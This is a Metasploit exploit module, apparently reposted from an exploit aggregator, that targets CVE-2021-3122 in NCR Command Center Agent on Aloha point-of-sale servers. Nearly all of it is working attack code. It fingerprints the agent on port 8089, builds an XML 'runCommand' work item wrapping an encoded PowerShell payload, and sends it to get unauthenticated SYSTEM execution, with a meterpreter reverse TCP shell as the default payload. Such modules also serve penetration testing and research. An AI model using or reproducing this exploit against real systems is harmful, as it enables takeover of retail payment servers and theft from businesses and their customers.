Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-MISC-NCR_CMCAGENT_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NCR Command Center Agent Remote Code Execution',
        'Description' => %q{
          CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
          (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
          as SYSTEM, as exploited in the wild in 2020 and/or 2021. The vendor's position is that exploitation occurs only
          on devices with a certain "misconfiguration."
        },
        'Author' => [
          'daffainfo (Muhammad Daffa)',
          'jjcho (Jericho Nathanael Chrisnanta)'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-3122'],
          ['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
          ['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
        ],
        'DisclosureDate' => '2021-02-07',
        'Platform' => 'win',
        'Privileged' => true,
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        },
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(8089)
      ]
    )
  end

  def check
    connect
    banner = sock.get_once
    disconnect
    if (banner.to_s =~ /<cmcsys:myNodeNumber/)
      return Exploit::CheckCode::Detected('CMCAgent detected')
    end

    Exploit::CheckCode::Safe('Could not detect CMCAgent')
  end

  def generate_xml(cmd_payload)
    workitem_id = rand(1..9)
    source_node = rand(1..9)
    exec_status = %w[Unknown Waiting InProgress].sample
    dest_server = %w[WebServer RdfServer].sample
    guid = SecureRandom.uuid

    xml_body = '<workitemroot commandname="runCommand">'
    xml_body << '<WorkItem>'
    xml_body << '<WorkItemId>'
    xml_body << workitem_id.to_s
    xml_body << '</WorkItemId>'
    xml_body << '<CommandName>runCommand</CommandName>'
    xml_body << '<SourceNode>'
    xml_body << source_node.to_s
    xml_body << '</SourceNode>'
    xml_body << '<TargetNode>0</TargetNode>'
    xml_body << '<Status>'
    xml_body << exec_status
    xml_body << '</Status>'
    xml_body << '</WorkItem>'
    xml_body << '<command>'
    xml_body << '<Arguments>'
    xml_body << cmd_payload
    xml_body << '</Arguments>'
    xml_body << '<Guid>'
    xml_body << guid
    xml_body << '</Guid>'
    xml_body << '<Result></Result>'
    xml_body << '<destserver>'
    xml_body << dest_server
    xml_body << '</destserver>'
    xml_body << '</command>'
    xml_body << '</workitemroot>'
    xml_body << '<:EOM:>'

    xml_body
  end

  def exploit
    connect
    print_status("Connected to #{Rex::Socket.to_authority(rhost, rport)}") if datastore['VERBOSE']

    cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
    payload_xml = generate_xml(cmd_payload)

    print_status('Generating payload')

    sock.put(payload_xml)

    print_status('Check your shell')
  rescue ::Rex::ConnectionError => e
    fail_with(Failure::Unreachable, "Failed to connect: #{e}")
  ensure
    disconnect
  end
end